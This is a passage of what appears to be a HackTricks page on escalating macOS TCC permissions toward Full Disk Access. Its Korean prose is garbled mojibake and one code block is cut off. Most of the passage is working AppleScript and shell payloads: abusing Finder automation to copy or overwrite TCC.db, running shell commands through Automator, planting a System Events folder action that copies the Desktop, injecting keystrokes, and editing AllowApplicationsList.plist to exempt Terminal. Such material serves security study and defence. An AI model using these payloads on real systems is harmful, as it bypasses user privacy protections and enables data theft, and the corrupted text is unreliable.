์ด ํŠน์ • TCC ๊ถŒํ•œ์€ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์—์„œ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค (๋”ฐ๋ผ์„œ ๊ถŒํ•œ์ด ๋ชจ๋“  ๊ฒƒ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค).

Finder๋Š” ํ•ญ์ƒ FDA๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค (UI์— ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋”๋ผ๋„), ๋”ฐ๋ผ์„œ Automation ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์ผ๋ถ€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ฒฝ์šฐ ๊ท€ํ•˜์˜ ์•ฑ์€ **com.apple.Finder**์— ๋Œ€ํ•œ kTCCServiceAppleEvents ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

์ด๊ฒƒ์„ ์•…์šฉํ•˜์—ฌ ์ž์‹ ๋งŒ์˜ ์‚ฌ์šฉ์ž TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

์ด ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•˜๋ฉด Finder์—๊ฒŒ TCC ์ œํ•œ ํด๋”์— ์ ‘๊ทผํ•˜๋„๋ก ์š”์ฒญํ•˜๊ณ  ํŒŒ์ผ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ๋‚ด๊ฐ€ ์•„๋Š” ํ•œ Finder๊ฐ€ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ FDA ์ ‘๊ทผ์„ ์™„์ „ํžˆ ์•…์šฉํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ „์ฒด FDA ๊ธฐ๋Šฅ์„ ์•…์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ Finder์— ๋Œ€ํ•œ ์ž๋™ํ™” ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•œ TCC ํ”„๋กฌํ”„ํŠธ์ž…๋‹ˆ๋‹ค:

Caution

Automator ์•ฑ์ด TCC ๊ถŒํ•œ **kTCCServiceAppleEvents**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋ชจ๋“  ์•ฑ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ์˜ˆ๋ฅผ ๋“ค์–ด Finder์™€ ๊ฐ™์€ ์•ฑ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Automator๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Finder๋„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Automator ๋‚ด์—์„œ ์…ธ ์–ป๊ธฐ ```applescript osascript<

tell application โ€œAutomatorโ€ set actionID to Automator action id โ€œcom.apple.RunShellScriptโ€ tell (make new workflow) add actionID to it tell last Automator action set value of setting โ€œinputMethodโ€ to 1 set value of setting โ€œCOMMAND_STRINGโ€ to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

**Script Editor ์•ฑ**์—์„œ๋„ ๋™์ผํ•œ ์ผ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. Finder๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์ง€๋งŒ AppleScript๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค.

### Automation (SE) to some TCC

**System Events๋Š” ํด๋” ์ž‘์—…์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํด๋” ์ž‘์—…์€ ์ผ๋ถ€ TCC ํด๋”(๋ฐ”ํƒ•ํ™”๋ฉด, ๋ฌธ์„œ ๋ฐ ๋‹ค์šด๋กœ๋“œ)์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** ๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด ๋™์ž‘์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*

System Events + Accessibility (kTCCServicePostEvent)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํ”„๋กœ์„ธ์Šค์— ํ‚ค ์ž…๋ ฅ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด Finder๋ฅผ ์•…์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ TCC.db๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ์ž„์˜์˜ ์•ฑ์— FDA๋ฅผ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

Finder๊ฐ€ ์‚ฌ์šฉ์ž์˜ TCC.db๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์˜ˆ:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility to FDA*

์ด ํŽ˜์ด์ง€์—์„œ ์ ‘๊ทผ์„ฑ ๊ถŒํ•œ์„ ๋‚จ์šฉํ•˜๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ™•์ธํ•˜์—ฌ FDA*๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•˜๊ฑฐ๋‚˜ ์˜ˆ๋ฅผ ๋“ค์–ด ํ‚ค๋กœ๊ฑฐ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Endpoint Security Client to FDA

**kTCCServiceEndpointSecurityClient**๊ฐ€ ์žˆ๋‹ค๋ฉด, ๋‹น์‹ ์€ FDA๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋.

System Policy SysAdmin File to FDA

**kTCCServiceSystemPolicySysAdminFiles**๋Š” ์‚ฌ์šฉ์ž์˜ NFSHomeDirectory ์†์„ฑ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ๊ทธ์˜ ํ™ˆ ํด๋”๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ๋”ฐ๋ผ์„œ TCC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

User TCC DB to FDA

์‚ฌ์šฉ์ž TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด FDA ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ, ์‹œ์Šคํ…œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์žˆ๋Š” ์‚ฌ์šฉ์ž๋งŒ ๊ทธ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ **Finder์— ๋Œ€ํ•œ ์ž๋™ํ™” ๊ถŒํ•œ**์„ ๋ถ€์—ฌํ•˜๊ณ  ์ด์ „ ๊ธฐ์ˆ ์„ ๋‚จ์šฉํ•˜์—ฌ FDA*๋กœ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

FDA to TCC permissions

์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ์˜ TCC ์ด๋ฆ„์€ **kTCCServiceSystemPolicyAllFiles**์ž…๋‹ˆ๋‹ค.

์ด๊ฒƒ์ด ์‹ค์ œ ๊ถŒํ•œ ์ƒ์Šน์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜์ง€ ์•Š์ง€๋งŒ, ๋งŒ์•ฝ ์œ ์šฉํ•˜๋‹ค๊ณ  ์ƒ๊ฐ๋œ๋‹ค๋ฉด: FDA๋ฅผ ์ œ์–ดํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด ์‚ฌ์šฉ์ž์˜ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ˆ˜์ •ํ•˜๊ณ  ์ž์‹ ์—๊ฒŒ ๋ชจ๋“  ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” FDA ๊ถŒํ•œ์„ ์žƒ์„ ๊ฒฝ์šฐ ์ง€์†์„ฑ ๊ธฐ์ˆ ๋กœ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SIP Bypass to TCC Bypass

์‹œ์Šคํ…œ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SIP์— ์˜ํ•ด ๋ณดํ˜ธ๋˜๋ฏ€๋กœ, ์ง€์ •๋œ ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๋งŒ ์ด๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ํŒŒ์ผ์— ๋Œ€ํ•œ SIP ์šฐํšŒ๋ฅผ ์ฐพ์œผ๋ฉด (SIP์— ์˜ํ•ด ์ œํ•œ๋œ ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉด), ๊ทธ๋Š” ๋‹ค์Œ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ณดํ˜ธ๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ์ž์‹ ์—๊ฒŒ ๋ชจ๋“  TCC ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด ์ด๋Ÿฌํ•œ ํŒŒ์ผ์„ ๋‚จ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • TCC ์‹œ์Šคํ…œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค
  • REG.db
  • MDMOverrides.plist

๊ทธ๋Ÿฌ๋‚˜ ์ด SIP ์šฐํšŒ๋ฅผ TCC ์šฐํšŒ๋กœ ๋‚จ์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ํŒŒ์ผ /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist๋Š” TCC ์˜ˆ์™ธ๊ฐ€ ํ•„์š”ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ—ˆ์šฉ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด ํŒŒ์ผ์˜ SIP ๋ณดํ˜ธ๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ์ž์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ TCC๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด ํ„ฐ๋ฏธ๋„์„ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC ์šฐํšŒ

macOS TCC Bypasses

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ